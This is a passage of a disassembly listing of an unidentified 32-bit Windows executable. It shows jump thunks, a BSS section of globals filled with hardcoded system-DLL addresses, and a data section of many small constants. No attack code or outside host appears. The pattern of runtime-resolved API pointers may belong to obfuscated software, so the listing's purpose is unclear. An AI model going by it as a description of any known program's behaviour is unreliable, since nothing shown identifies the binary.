sub_443018	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_443024	proc near		; CODE XREF: sub_4381C3+71p
					; sub_4381C3+86p
		jmp	ds:dword_44C0D8
sub_443024	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_443030	proc near		; CODE XREF: sub_43825C+9Ep
		jmp	ds:dword_44C0DC
sub_443030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
_text		ends

; Section 5. (virtual address 00044000)
; Virtual size			: 00005BD8 (  23512.)
; Section size in file		: 00005BD8 (  23512.)
; Offset to raw	data for section: 00044000
; Flags	C0000080: Bss Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_bss		segment	para public 'BSS' use32
		assume cs:_bss
		;org 444000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_444000	dd 77E77EF1h		; DATA XREF: sub_43A105+130w
					; sub_43C434+Dr
dword_444004	dd 77D46254h		; DATA XREF: sub_439DDE+12Aw
					; sub_43F6E3+15r ...
dword_444008	dd 77E73628h		; DATA XREF: sub_43A105+A4w
					; sub_43AF47+47Ar ...
dword_44400C	dd 77E79924h		; DATA XREF: sub_43A105+168w
					; sub_43C434+3Ar
dword_444010	dd 77E778C5h		; DATA XREF: sub_43A105+424w
					; sub_43CE60+1Ar ...
dword_444014	dd 77D4702Fh		; DATA XREF: sub_4393B1+5Ar
					; sub_4393B1+121r ...
dword_444018	dd 0			; DATA XREF: sub_439B7B+F3w
					; sub_44006A+177r
dword_44401C	dd 76C693F0h		; DATA XREF: sub_43969E+51w
					; sub_44029C+1B7r
dword_444020	dd 73D9E65Ch		; DATA XREF: sub_43858C+2A5r
					; sub_43858C+3B2r ...
dword_444024	dd 0			; DATA XREF: sub_43BA75+1EFr
					; sub_43C073+F4w
dword_444028	dd 77E78B82h		; DATA XREF: sub_43A105+1D8w
					; sub_43AF47+7Dr ...
dword_44402C	dd 77F82D5Ch		; DATA XREF: sub_43A105+280w
					; sub_43C2C0+59r
dword_444030	dd 73D9ADFAh		; DATA XREF: sub_43BD90+23Cr
					; sub_43BD90+269r ...
dword_444034	dd 77E6AD34h		; DATA XREF: sub_43A105+1BCw
dword_444038	dd 77121651h		; DATA XREF: sub_43858C+17r
					; sub_4394DD+9Ew ...
dword_44403C	dd 77DD23D7h		; DATA XREF: sub_43C1C6+66w
					; sub_43C3CE+47r
dword_444040	dd 77D47EC7h		; DATA XREF: sub_439DDE+1EEw
dword_444044	dd 77121680h		; DATA XREF: sub_43858C+20Fr
					; sub_43858C+229r ...
dword_444048	dd 77D5264Ah		; DATA XREF: sub_439992+2Dr
					; sub_439DDE+309w
dword_44404C	dd 0			; DATA XREF: sub_439B7B+96w
					; sub_43F9F6+535r
dword_444050	dd 77D441F2h		; DATA XREF: sub_439DDE+BAw
					; sub_43EC0A+308r
dword_444054	dd 73D9BBAAh		; DATA XREF: sub_439B7B+217r
					; sub_43AF47+369r ...
		align 10h
dword_444060	dd 0			; DATA XREF: sub_43B622+F2r
					; sub_43C5EA+3C8r ...
		dd 3E7h	dup(0)
dword_445000	dd 77E78C17h		; DATA XREF: sub_4399CB+DCr
					; sub_43A105+344w
dword_445004	dd 77E75E67h		; DATA XREF: sub_43A105+2D4w
					; sub_43BA75+2B3r ...
dword_445008	dd 77E79908h		; DATA XREF: sub_43A5C3+372w
					; sub_43C507+18r ...
dword_44500C	dd 77E62D7Ah		; DATA XREF: sub_43A105+34w
dword_445010	dd 77D5C2CCh		; DATA XREF: sub_439DDE+D6w
					; sub_43F6E3+32r
		align 10h
dword_445020	dd 40h dup(0)		; DATA XREF: sub_439B7B+A6o
					; sub_43B523+66o ...
dword_445120	dd 77C724ACh		; DATA XREF: sub_43B4B3+69w
					; sub_43EC0A+19Cr
		align 10h
dword_445130	dd 0			; DATA XREF: sub_43B622:loc_43B642r
					; sub_43B622+5Ew ...
		dd 3E7h	dup(0)
dword_4460D0	dd 771C6F69h		; DATA XREF: sub_43B3CC+82w
					; sub_43D6B1+44r
dword_4460D4	dd 77E6869Bh		; DATA XREF: sub_4399CB+F6r
					; sub_43A105+360w
dword_4460D8	dd 771C16BAh		; DATA XREF: sub_43B3CC+9Ew
dword_4460DC	dd 77D4DC11h		; DATA XREF: sub_439DDE+20Aw
					; sub_43EC0A+1D5r
dword_4460E0	dd 77E684C6h		; DATA XREF: sub_43A105+14Cw
					; sub_43AF47+44Cr
		align 10h
dword_4460F0	dd 41h dup(0)		; DATA XREF: sub_439B7B+52o
					; sub_439B7B+E2o ...
dword_4461F4	dd 73D9E660h		; DATA XREF: sub_43EF62+1B9w
					; sub_440F46+4C8r ...
dword_4461F8	dd 77E7A5FDh		; DATA XREF: sub_4394DD+44r
					; sub_4394DD+60r ...
		align 10h
byte_446200	db 0			; DATA XREF: sub_43B622+FBr
					; sub_43C5EA+3D1r ...
		align 4
		dd 0F9h	dup(0)
dword_4465E8	dd 77E79F93h		; DATA XREF: sub_4394DD+Dr
					; sub_43969E+Dr ...
dword_4465EC	dd 77DD22EAh		; DATA XREF: sub_43C1C6+4Aw
					; sub_43C3CE+26r
dword_4465F0	dd 77DDACABh		; DATA XREF: sub_4397A3+23r
					; sub_43C1C6+A1w
dword_4465F4	dd 77D4456Bh		; DATA XREF: sub_439DDE+F2w
dword_4465F8	dd 77E7513Ch		; DATA XREF: sub_43A105+4B6w
					; sub_43F189+12Br
dword_4465FC	dd 77D49951h		; DATA XREF: sub_439DDE+27Aw
					; sub_43DB8B+F1Fr ...
dword_446600	dd 77E704FCh		; DATA XREF: sub_439B7B+16r
					; sub_43A105+3ECw ...
dword_446604	dd 76C69891h		; DATA XREF: sub_44029C+18Er
					; sub_440D4B+54w
dword_446608	dd 0			; DATA XREF: sub_43C1AF+3o
					; sub_43C1AF+Er ...
dword_44660C	dd 77E78EAAh		; DATA XREF: sub_43A105+2F0w
					; sub_43D357+4Ar ...
dword_446610	dd 100E0h		; DATA XREF: sub_43EC0A+24Dw
dword_446614	dd 0EE00h		; DATA XREF: sub_43EC0A+273w
					; sub_44029C:loc_440459r
dword_446618	dd 77D46F5Bh		; DATA XREF: sub_439DDE+82w
					; sub_43EBEC+13r
dword_44661C	dd 77E79A45h		; DATA XREF: sub_43A105+248w
					; sub_43D9B8+186r ...
dword_446620	dd 0			; DATA XREF: sub_439B7B+173w
					; sub_439B7B+1D8w ...
dword_446624	dd 771C1E56h		; DATA XREF: sub_43B3CC+66w
					; sub_43D6B1+5Dr
		align 10h
dword_446630	dd 0			; DATA XREF: sub_4399CB+CEw
					; sub_4399CB+11Dw ...
		dd 0FEh	dup(0)
dword_446A2C	dd 73D9C489h		; DATA XREF: sub_43EF62+BAw
dword_446A30	dd 0			; DATA XREF: sub_439B7B+DDw
dword_446A34	dd 77E79881h		; DATA XREF: sub_43A105+22Cw
					; sub_43F3B6+CBr ...
dword_446A38	dd 73D9C4C5h		; DATA XREF: sub_43EF62+9Ew
dword_446A3C	dd 77E777EFh		; DATA XREF: sub_4395A1+8r
					; sub_43A105+408w ...
dword_446A40	dd 77D48137h		; DATA XREF: sub_439DDE+242w
					; sub_43DB8B+1029r ...
dword_446A44	dd 77414CDCh		; DATA XREF: sub_439B7B+2Fr
					; sub_43C073+22r ...
		align 10h
word_446A50	dw 0			; DATA XREF: sub_43C5EA+509w
					; sub_43C5EA+534r ...
		align 4
		dd 1F3h	dup(0)
dword_447220	dd 77D47EE5h		; DATA XREF: sub_439DDE+19Aw
					; sub_43EC0A+17Dr
dword_447224	dd 77D49A11h		; DATA XREF: sub_439DDE+9Ew
					; sub_43F9F6+528r
dword_447228	dd 0			; DATA XREF: sub_439B7B+D2w
					; sub_43D058:loc_43D0E2r
		align 10h
dword_447230	dd 5 dup(0)		; DATA XREF: sub_439B7B+C2o
					; sub_43C5EA+1A0o ...
dword_447244	dd 77E805D8h		; DATA XREF: sub_4394DD+28r
					; sub_43969E+28r ...
dword_447248	dd 77E7980Ah		; DATA XREF: sub_43A0EE+Fr
					; sub_43A105+1F4w
dword_44724C	dd 73DA018Fh		; DATA XREF: sub_43EF62+19Aw
dword_447250	dd 77C7F85Ah		; DATA XREF: sub_43B4B3+4Aw
					; sub_43DB8B+795r ...
dword_447254	dd 77132EF6h		; DATA XREF: sub_43858C+44r
					; sub_4394DD+BDw ...
dword_447258	dd 77E75D9Eh		; DATA XREF: sub_43A105+2B8w
					; sub_43BA75+43r ...
dword_44725C	dd 77E61608h		; DATA XREF: sub_43A105+264w
					; sub_43C073+2Cr
dword_447260	dd 41h dup(0)		; DATA XREF: sub_439B7B+7Ao
					; sub_439B7B+EDo ...
dword_447364	dd 77E6BD13h		; DATA XREF: sub_43A105+37Cw
					; sub_440F46+14C2r
		align 10h
dword_447370	dd 0			; DATA XREF: sub_43D6B1+21w
					; sub_43DB8B+7Cr ...
dword_447374	dd 0			; DATA XREF: sub_43DB8B+495w
					; sub_43DB8B+4ABr ...
dword_447378	dd 0			; DATA XREF: sub_43DB8B+54Ew
					; sub_43DB8B+621r ...
dword_44737C	dd 0			; DATA XREF: sub_43DB8B+86Fw
					; sub_43DB8B+906r ...
dword_447380	dd 0			; DATA XREF: sub_43DB8B+AA5w
					; sub_43DB8B+BD2r ...
dword_447384	dd 0			; DATA XREF: sub_43DB8B+B62w
					; sub_43DB8B+C37r ...
dword_447388	dd 0			; DATA XREF: sub_43DB8B+D03w
					; sub_43DB8B+D27r ...
dword_44738C	dd 0			; DATA XREF: sub_43DB8B+EAAw
					; sub_43DB8B+EC8r ...
dword_447390	dd 0			; DATA XREF: sub_43DB8B+EFDw
					; sub_43F9F6+5ACr
dword_447394	dd 0			; DATA XREF: sub_43DB8B+F4Dw
					; sub_43F9F6+5E3r
dword_447398	dd 0			; DATA XREF: sub_43DB8B+F9Dw
					; sub_43F9F6+617r
dword_44739C	dd 0			; DATA XREF: sub_43DB8B+FEDw
					; sub_43F9F6+64Br
		dd 4A4h	dup(0)
dword_448630	dd 77D44200h		; DATA XREF: sub_439DDE+10Ew
					; sub_43EC0A+328r
dword_448634	dd 77E79E34h		; DATA XREF: sub_438324+1Cr
					; sub_43A105+210w
dword_448638	dd 73D9D340h		; DATA XREF: sub_43AE20+B9r
					; sub_43C2C0+66r ...
dword_44863C	dd 77E7A099h		; DATA XREF: sub_43A105+3D0w
dword_448640	dd 0			; DATA XREF: sub_439B7B+E8w
					; sub_44006A+165r
dword_448644	dd 73D9D5E0h		; DATA XREF: sub_43AE20+ABr
					; sub_43EF62+10Ew ...
dword_448648	dd 77E8074Ah		; DATA XREF: sub_4396F6+60r
					; sub_43A105+3B4w
dword_44864C	dd 77D414D4h		; DATA XREF: sub_439DDE+66w
					; sub_43DB8B+537r ...
dword_448650	dd 77F7E300h		; DATA XREF: sub_43A5C3+38Aw
					; sub_43C507+D5r ...
dword_448654	dd 77E77963h		; DATA XREF: sub_4396F6+71r
					; sub_4399CB+84r ...
		align 10h
dword_448660	dd 0			; DATA XREF: sub_43B622+2Ar
					; sub_43C5EA+431r ...
		dd 3E7h	dup(0)
dword_449600	dd 73D9DBA2h		; DATA XREF: sub_43EF62+146w
dword_449604	dd 77D444F0h		; DATA XREF: sub_439DDE+25Ew
dword_449608	dd 0			; DATA XREF: sub_43A105+1A0w
dword_44960C	dd 77D5BA26h		; DATA XREF: sub_439DDE+4Aw
					; sub_43F9F6+5B3r ...
off_449610	dd offset byte_41800D	; DATA XREF: sub_43EC0A+268w
					; sub_44029C+1C3r
dword_449614	dd 77E681EFh		; DATA XREF: sub_43A105+440w
					; sub_43F189+D4r ...
dword_449618	dd 77DD189Ah		; DATA XREF: sub_43C1C6+82w
					; sub_43C3CE+52r
dword_44961C	dd 77E7C2C4h		; DATA XREF: sub_43A105+398w
					; sub_43EC0A+DBr ...
dword_449620	dd 77D4A102h		; DATA XREF: sub_439DDE+1B6w
					; sub_43EC0A+18Dr
dword_449624	dd 77E793EFh		; DATA XREF: sub_43A105+114w
					; sub_44047F+4Cr ...
dword_449628	dd 77D43FEDh		; DATA XREF: sub_439DDE+146w
					; sub_43DB8B+EF1r ...
dword_44962C	dd 0			; DATA XREF: sub_43858C+D7Ar
					; sub_439B7B+8Bw
dword_449630	dd 73D92B86h		; DATA XREF: sub_43855F+20r
					; sub_43858C+A47r ...
dword_449634	dd 73D9E5C5h		; DATA XREF: sub_43858C+39Er
					; sub_43858C+48Dr ...
dword_449638	dd 0			; DATA XREF: sub_43D357+2FCr
					; sub_43EC0A+28Fw ...
dword_44963C	dd 77D651AFh		; DATA XREF: sub_4393B1+23r
					; sub_4393B1+43r ...
dword_449640	dd 77E77CCEh		; DATA XREF: sub_43A105+184w
					; sub_43D058+1CCr
dword_449644	dd 77D6ADD7h		; DATA XREF: sub_439DDE+1D2w
					; sub_43F9F6+1DEr ...
dword_449648	dd 7720C039h		; DATA XREF: sub_4395B8+12r
					; sub_4395B8+32r ...
dword_44964C	dd 73D9D320h		; DATA XREF: sub_43C2C0+E5r
					; sub_43EF62+D6w
dword_449650	dd 77E6C9E0h		; DATA XREF: sub_4399CB+6Er
					; sub_43A105+328w
dword_449654	dd 77D45F74h		; DATA XREF: sub_439DDE+162w
					; sub_43DB8B+4C5r
dword_449658	dd 77D5BB6Ch		; DATA XREF: sub_439DDE+296w
					; sub_43F9F6+4C3r
dword_44965C	dd 77D47D27h		; DATA XREF: sub_439DDE+2B2w
					; sub_43DB8B+4B2r ...
dword_449660	dd 77F7E21Fh		; DATA XREF: sub_43A5C3+35Aw
					; sub_43C507+64r ...
dword_449664	dd 77E73C49h		; DATA XREF: sub_43A105+18w
					; sub_43BA5C+12r ...
dword_449668	dd 77E6C0E3h		; DATA XREF: sub_4399CB+96r
					; sub_43A105+30Cw ...
		align 10h
dword_449670	dd 40h dup(0)		; DATA XREF: sub_439B7B+F8o
					; sub_439B7B+224o ...
dword_449770	dd 77E7751Ah		; DATA XREF: sub_43A105+29Cw
					; sub_43B622+Cr ...
dword_449774	dd 0			; DATA XREF: sub_439B7B+A1w
					; sub_43DB8B+3A5r
dword_449778	dd 77E79424h		; DATA XREF: sub_43A105+478w
					; sub_43BA75+11Br
dword_44977C	dd 77D43DD3h		; DATA XREF: sub_439DDE+2CEw
					; sub_43EC0A+2FEr
dword_449780	dd 77E71702h		; DATA XREF: sub_43A105+45Cw
					; sub_43BA75+D3r
dword_449784	dd 0			; DATA XREF: sub_43EBBF+11r
					; sub_43EBBF+19o ...
dword_449788	dd 77E7A837h		; DATA XREF: sub_43A105+88w
					; sub_43AF47+43r ...
		align 10h
dword_449790	dd 0			; DATA XREF: sub_4399CB:loc_4399DBw
					; sub_4399CB+4Er ...
		dd 0FEh	dup(0)
dword_449B8C	dd 77E79D8Ch		; DATA XREF: sub_43A105+DCw
					; sub_43AF47+431r ...
dword_449B90	dd 77E7AC37h		; DATA XREF: sub_4399CB+16Br
					; sub_439B7B+124r ...
		align 8
dword_449B98	dd 77E7C657h		; DATA XREF: sub_43A105+494w
					; sub_43F189+22r
dword_449B9C	dd 77E78C81h		; DATA XREF: sub_43A105+C0w
					; sub_43D8DE+A3r ...
dword_449BA0	dd 771214E8h		; DATA XREF: sub_43858C+F1r
					; sub_43858C+527r ...
dword_449BA4	dd 77D5C13Ah		; DATA XREF: sub_439DDE+17Ew
					; sub_43B912+1Er ...
dword_449BA8	dd 0			; DATA XREF: sub_4395A1+3o
					; sub_4395A1+Er ...
dword_449BAC	dd 73D9DBAFh		; DATA XREF: sub_43EF62+12Aw
					; sub_43F353:loc_43F367r ...
dword_449BB0	dd 7712151Dh		; DATA XREF: sub_4394DD+82w
					; sub_43C5EA+637r
dword_449BB4	dd 771C69DCh		; DATA XREF: sub_43B3CC+4Aw
		align 10h
dword_449BC0	dd 77FC5460h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_43C507+13o
					; sub_43C507+5Fo ...
_bss		ends

; Section 6. (virtual address 0004A000)
; Virtual size			: 00001C00 (   7168.)
; Section size in file		: 00001C00 (   7168.)
; Offset to raw	data for section: 0004A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 44A000h
off_44A000	dd offset sub_442F30	; DATA XREF: .text:004381B5r
dword_44A004	dd 0			; DATA XREF: sub_4381C3+4Aw
					; sub_4381C3+64r
dword_44A008	dd 0			; DATA XREF: sub_4381C3+38w
dword_44A00C	dd 0			; DATA XREF: sub_4381C3+5Fw
					; sub_4381C3:loc_43823Cr
dword_44A010	dd 0			; DATA XREF: sub_43825C+57w
		align 8
		dd 7325h
aWr:					; DATA XREF: sub_4381C3+3Do
					; sub_4381C3+4Fo ...
		unicode	0, <wr>,0
		align 4
		dd 4 dup(0)
dword_44A034	dd 0			; DATA XREF: .text:004380F2w
dword_44A038	dd 0			; DATA XREF: .text:004380FCw
					; .text:00438117r ...
dword_44A03C	dd 0			; DATA XREF: .text:00438104w
dword_44A040	dd 14h dup(0)		; DATA XREF: .text:00438111o
					; .text:0043811Fo
dword_44A090	dd 3			; DATA XREF: sub_438348+41r
					; sub_438348+15Dr ...
dword_44A094	dd 6			; DATA XREF: sub_43AF47+32r
					; sub_43AF47+161r ...
word_44A098	dw 2			; DATA XREF: sub_43858C+916r
					; sub_43AF47:loc_43B306r ...
		align 4
dword_44A09C	dd 5			; DATA XREF: sub_4399CB+182r
					; sub_43AF47+27Br ...
dword_44A0A0	dd 4			; DATA XREF: sub_43858C+90Dr
					; sub_4397A3+79r ...
word_44A0A4	dw 6			; DATA XREF: sub_43AE20+107r
					; sub_43C5EA+143r ...
		align 4
dword_44A0A8	dd 6			; DATA XREF: sub_438348+88r
					; sub_43AF47:loc_43B276r ...
dword_44A0AC	dd 1			; DATA XREF: sub_43858C+737r
					; sub_43858C+A2Dr ...
word_44A0B0	dw 7			; DATA XREF: sub_43B523+71r
					; sub_43C2C0+D2r ...
		align 4
dword_44A0B4	dd 8			; DATA XREF: sub_43858C+32Br
					; sub_439857+44r ...
dword_44A0B8	dd 3			; DATA XREF: sub_4396F6+14r
					; sub_4396F6+77r ...
word_44A0BC	dw 9			; DATA XREF: sub_43858C+B74r
					; sub_43A5C3+46r ...
		align 10h
word_44A0C0	dw 2			; DATA XREF: sub_43858C+4Cr
					; sub_43858C+413r ...
		align 4
dword_44A0C4	dd 7			; DATA XREF: sub_43CCC9+1Cr
					; sub_43CCC9+E6r ...
dword_44A0C8	dd 0			; DATA XREF: sub_4393B1:loc_439441r
					; sub_43AF47+69r ...
word_44A0CC	dw 7			; DATA XREF: sub_43858C+3E7r
					; sub_43C434+19r ...
		align 10h
word_44A0D0	dw 7			; DATA XREF: sub_43AF47+313r
					; sub_43AF47+349r ...
		align 4
dword_44A0D4	dd 6			; DATA XREF: sub_43858C+8C1r
					; sub_43A974+19r ...
word_44A0D8	dw 2			; DATA XREF: sub_43BA75+18Dr
					; sub_43C5EA+237r ...
		align 4
dword_44A0DC	dd 3			; DATA XREF: sub_43858C+13Dr
					; sub_4397A3+39r ...
word_44A0E0	dw 1			; DATA XREF: sub_438348+46r
					; sub_43CCC9+97r ...
		align 4
dword_44A0E4	dd 9			; DATA XREF: sub_438348:loc_4384A0r
					; sub_43C073+F9r ...
word_44A0E8	dw 1			; DATA XREF: sub_4399CB+C2r
					; sub_43AE20+85r ...
		align 4
dword_44A0EC	dd 4			; DATA XREF: sub_439B7B+190r
					; sub_43A5C3+B1r ...
dword_44A0F0	dd 1			; DATA XREF: sub_43A5C3+BBr
					; sub_43AF47+380r ...
dword_44A0F4	dd 7			; DATA XREF: sub_43858C+73Cr
					; sub_43858C+9A6r ...
dword_44A0F8	dd 7			; DATA XREF: sub_4399CB+BCr
					; sub_439B7B+178r ...
word_44A0FC	dw 6			; DATA XREF: sub_43AF47+21r
					; sub_43AF47+38Br ...
		align 10h
word_44A100	dw 3			; DATA XREF: sub_4384B5+44r
					; sub_43858C+8E4r ...
		align 4
word_44A104	dw 8			; DATA XREF: sub_43858C+54Dr
					; sub_43A5C3+4Dr ...
		align 4
dword_44A108	dd 6			; DATA XREF: sub_438348+10r
					; sub_43963B+48r ...
dword_44A10C	dd 6			; DATA XREF: sub_43BA75+1D5r
					; sub_43BD90+12Cr ...
dword_44A110	dd 5			; DATA XREF: sub_43A974+1C8r
					; sub_43AF47+17Br ...
dword_44A114	dd 8			; DATA XREF: sub_4399CB+159r
					; sub_43B622+189r ...
word_44A118	dw 3			; DATA XREF: sub_4384B5+30r
					; sub_43B622+1EBr ...
		align 4
dword_44A11C	dd 5			; DATA XREF: sub_43C073+B9r
					; sub_43CCC9+16Cr ...
dword_44A120	dd 5			; DATA XREF: sub_43A5C3+1FDr
					; sub_43CCC9+18Br ...
word_44A124	dw 6			; DATA XREF: sub_43858C+7A7r
					; sub_439B7B+67r ...
		align 4
dword_44A128	dd 9			; DATA XREF: sub_43858C+1F4r
					; sub_43858C+8B7r ...
dword_44A12C	dd 8			; DATA XREF: sub_4399CB+15Fr
					; sub_43ABE3+19Ar ...
word_44A130	dw 3			; DATA XREF: sub_43858C+55Br
					; sub_43858C+5EAr ...
		align 4
dword_44A134	dd 8			; DATA XREF: sub_438348+E1r
					; sub_4399CB+FCr ...
dword_44A138	dd 0			; DATA XREF: sub_43858C+4F7r
					; sub_43858C+850r ...
dword_44A13C	dd 3			; DATA XREF: sub_4384B5+59r
					; sub_43858C+5F1r ...
dword_44A140	dd 9			; DATA XREF: sub_43858C+B2Er
					; sub_43B622+15r ...
word_44A144	dw 6			; DATA XREF: sub_438348+124r
					; sub_43858C+634r ...
		align 4
dword_44A148	dd 2			; DATA XREF: sub_43858C+5ACr
					; sub_439B7B+14Ar ...
dword_44A14C	dd 6			; DATA XREF: sub_43858C+41Ar
					; sub_43ABE3+140r ...
word_44A150	dw 8			; DATA XREF: sub_43858C+78Fr
					; sub_43858C+AA1r ...
		align 4
dword_44A154	dd 7			; DATA XREF: sub_43858C+698r
					; sub_43A5C3+242r ...
dword_44A158	dd 9			; DATA XREF: sub_438348+82r
					; sub_43858C+9EDr ...
dword_44A15C	dd 9			; DATA XREF: sub_43CCC9+43r
					; sub_43CE89+C7r ...
word_44A160	dw 1			; DATA XREF: sub_43BD90+4Dr
					; sub_43D058+16r ...
		align 4
dword_44A164	dd 4			; DATA XREF: sub_43858C+813r
					; sub_43A974+135r ...
dword_44A168	dd 0			; DATA XREF: sub_43858C+767r
					; sub_43858C+81Cr ...
word_44A16C	dw 1			; DATA XREF: sub_43858C+2Dr
					; sub_43AF47+89r ...
		align 10h
word_44A170	dw 2			; DATA XREF: sub_438348+A3r
					; sub_43858C+1E2r ...
		align 4
word_44A174	dw 7			; DATA XREF: sub_43858C+8F1r
					; sub_43858C+A12r ...
		align 4
word_44A178	dw 4			; DATA XREF: sub_4396F6+96r
					; sub_43A5C3+21Fr ...
		align 4
dword_44A17C	dd 5			; DATA XREF: sub_43858C+8DBr
					; sub_43AE20+CCr ...
word_44A180	dw 4			; DATA XREF: sub_43858C+34r
					; sub_43858C+463r ...
		align 4
dword_44A184	dd 2			; DATA XREF: sub_4384B5:loc_4384F4r
					; sub_43858C+5D7r ...
dword_44A188	dd 0			; DATA XREF: sub_43858C+5DDr
					; sub_4393B1+67r ...
dword_44A18C	dd 0			; DATA XREF: sub_43855F+8r
					; sub_43CCC9:loc_43CE4Cr ...
dword_44A190	dd 2			; DATA XREF: sub_43D6B1+86r
					; sub_43DB8B+35Er ...
dword_44A194	dd 9			; DATA XREF: sub_43858C+256r
					; sub_4393B1+77r ...
dword_44A198	dd 2			; DATA XREF: sub_43858C+BE3r
					; sub_43A5C3+2Br ...
dword_44A19C	dd 6			; DATA XREF: sub_43ABE3+194r
					; sub_43AF47+2A6r ...
dword_44A1A0	dd 3			; DATA XREF: sub_43858C+7EAr
					; sub_43A5C3+256r ...
word_44A1A4	dw 7			; DATA XREF: sub_438348+CBr
					; sub_43858C+83Br ...
		align 4
dword_44A1A8	dd 2			; DATA XREF: sub_43858C+663r
					; sub_43858C+8F8r ...
dword_44A1AC	dd 5			; DATA XREF: sub_43858C:loc_438FCAr
					; sub_439992+1Cr ...
dword_44A1B0	dd 7			; DATA XREF: sub_43858C:loc_438B93r
					; sub_43B622+1E1r ...
word_44A1B4	dw 4			; DATA XREF: sub_43858C+53r
					; sub_4393B1+60r ...
		align 4
dword_44A1B8	dd 5			; DATA XREF: sub_43858C+7C5r
					; sub_43D357+50r ...
dword_44A1BC	dd 9			; DATA XREF: sub_43BA75+E4r
					; sub_43CCC9+80r ...
word_44A1C0	dw 4			; DATA XREF: sub_43858C+6EDr
					; sub_43BA75:loc_43BB2Br ...
		align 4
dword_44A1C4	dd 5			; DATA XREF: sub_43858C+786r
					; sub_4393B1+7Cr ...
dword_44A1C8	dd 0			; DATA XREF: sub_4384B5+52r
					; sub_439B7B+11Cr
dword_44A1CC	dd 6			; DATA XREF: sub_43858C+971r
					; sub_43CC87+12r ...
dword_44A1D0	dd 7			; DATA XREF: sub_43858C+27Dr
					; sub_4397A3+73r ...
dword_44A1D4	dd 2			; DATA XREF: sub_43A5C3+66r
					; sub_43B523+A2r ...
dword_44A1D8	dd 9			; DATA XREF: sub_43858C+575r
					; sub_43DB8B+CB5r ...
word_44A1DC	dw 1			; DATA XREF: sub_438348+12Br
					; sub_43858C+BBDr ...
		align 10h
word_44A1E0	dw 3			; DATA XREF: sub_43858C+6E6r
					; sub_439B7B+138r ...
		align 4
dword_44A1E4	dd 4			; DATA XREF: sub_43858C+842r
					; sub_43BA5Cr ...
dword_44A1E8	dd 1			; DATA XREF: sub_43858C+305r
					; sub_43858C+A9Cr ...
dword_44A1EC	dd 8			; DATA XREF: sub_43858C+CEFr
					; sub_43A974+19Dr ...
word_44A1F0	dw 3			; DATA XREF: sub_438324+8r
					; sub_4397A3+53r ...
		align 4
dword_44A1F4	dd 4			; DATA XREF: sub_43858C+B85r
					; sub_43A5C3+8Dr ...
dword_44A1F8	dd 3			; DATA XREF: sub_43858C+B8Br
					; sub_43A974+170r ...
word_44A1FC	dw 5			; DATA XREF: sub_438348+9r
					; sub_43AF47+2BDr ...
		align 10h
dword_44A200	dd 5			; DATA XREF: sub_43858C+88Fr
					; sub_43858C+923r ...
dword_44A204	dd 1			; DATA XREF: sub_43858C+138r
					; sub_43858C+1BFr ...
word_44A208	dw 5			; DATA XREF: sub_438348+109r
					; sub_43ABE3+Dr ...
		align 4
dword_44A20C	dd 6			; DATA XREF: sub_4399CB+58r
					; sub_43B523+7Er ...
dword_44A210	dd 1			; DATA XREF: sub_43AF47+1B5r
					; sub_43B622+2D3r ...
dword_44A214	dd 9			; DATA XREF: sub_4393B1+114r
					; sub_43C5EA+324r ...
word_44A218	dw 5			; DATA XREF: sub_43858C+668r
					; sub_439992+15r ...
		align 4
dword_44A21C	dd 8			; DATA XREF: sub_43858C+35Dr
					; sub_43858C+8AEr ...
dword_44A220	dd 4			; DATA XREF: sub_43ABE3+A3r
					; sub_43C507+6Ar ...
dword_44A224	dd 5			; DATA XREF: sub_43858C+BDr
					; sub_43858C+4CFr ...
dword_44A228	dd 3			; DATA XREF: sub_43BD90+207r
					; sub_43EC0A+87r ...
word_44A22C	dw 7			; DATA XREF: sub_43858C:loc_4390B3r
					; sub_439B7B+1FDr ...
		align 10h
word_44A230	dw 6			; DATA XREF: sub_43858C+52Dr
					; sub_43858C+7A0r ...
		align 4
dword_44A234	dd 4			; DATA XREF: sub_4396F6:loc_439784r
					; sub_43A5C3+23Dr ...
dword_44A238	dd 0			; DATA XREF: sub_439B7B+1A6r
					; sub_43A5C3+1E3r ...
dword_44A23C	dd 5			; DATA XREF: sub_43963B+43r
					; sub_43A5C3+25Er ...
word_44A240	dw 2			; DATA XREF: sub_43858C+3E0r
					; sub_43858C+7F7r ...
		align 4
dword_44A244	dd 4			; DATA XREF: sub_43AE20+113r
					; sub_43AF47+1Cr ...
dword_44A248	dd 0			; DATA XREF: sub_43969E+3Cr
					; sub_43A5C3+184r ...
word_44A24C	dw 9			; DATA XREF: sub_43858C+859r
					; sub_43DB8B+1D4r ...
		align 10h
word_44A250	dw 1			; DATA XREF: sub_43B523+84r
					; sub_43D357+23Br ...
		align 4
dword_44A254	dd 9			; DATA XREF: sub_43858C+75Er
					; sub_43858C+BB8r ...
dword_44A258	dd 2			; DATA XREF: sub_4397A3+93r
					; sub_43CE89+23r ...
dword_44A25C	dd 8			; DATA XREF: sub_43858C+56Fr
					; sub_43858C+7CBr ...
word_44A260	dw 2			; DATA XREF: sub_43858C+826r
					; sub_43B622+12Dr ...
		align 4
word_44A264	dw 9			; DATA XREF: sub_43858C+A19r
					; sub_4399CB+13Br ...
		align 4
dword_44A268	dd 4			; DATA XREF: sub_43858C+19Ar
					; sub_43858C+3D0r ...
dword_44A26C	dd 9			; DATA XREF: sub_43858C+98r
					; sub_439857+7Br ...
dword_44A270	dd 4			; DATA XREF: sub_43858C+8CAr
					; sub_4397A3+9Fr ...
dword_44A274	dd 1			; DATA XREF: sub_43858C+16Br
					; sub_4393B1+C6r ...
dword_44A278	dd 2			; DATA XREF: sub_438348+9Dr
					; sub_43AE20+51r ...
word_44A27C	dw 4			; DATA XREF: sub_439857+10r
					; sub_439857+3Dr ...
		align 10h
dword_44A280	dd 4			; DATA XREF: sub_43855F+10r
					; sub_43858C+AF6r ...
dword_44A284	dd 9			; DATA XREF: sub_438324+Fr
					; sub_43858C+282r ...
dword_44A288	dd 6			; DATA XREF: sub_43B523+3Er
					; sub_43C2C0+47r ...
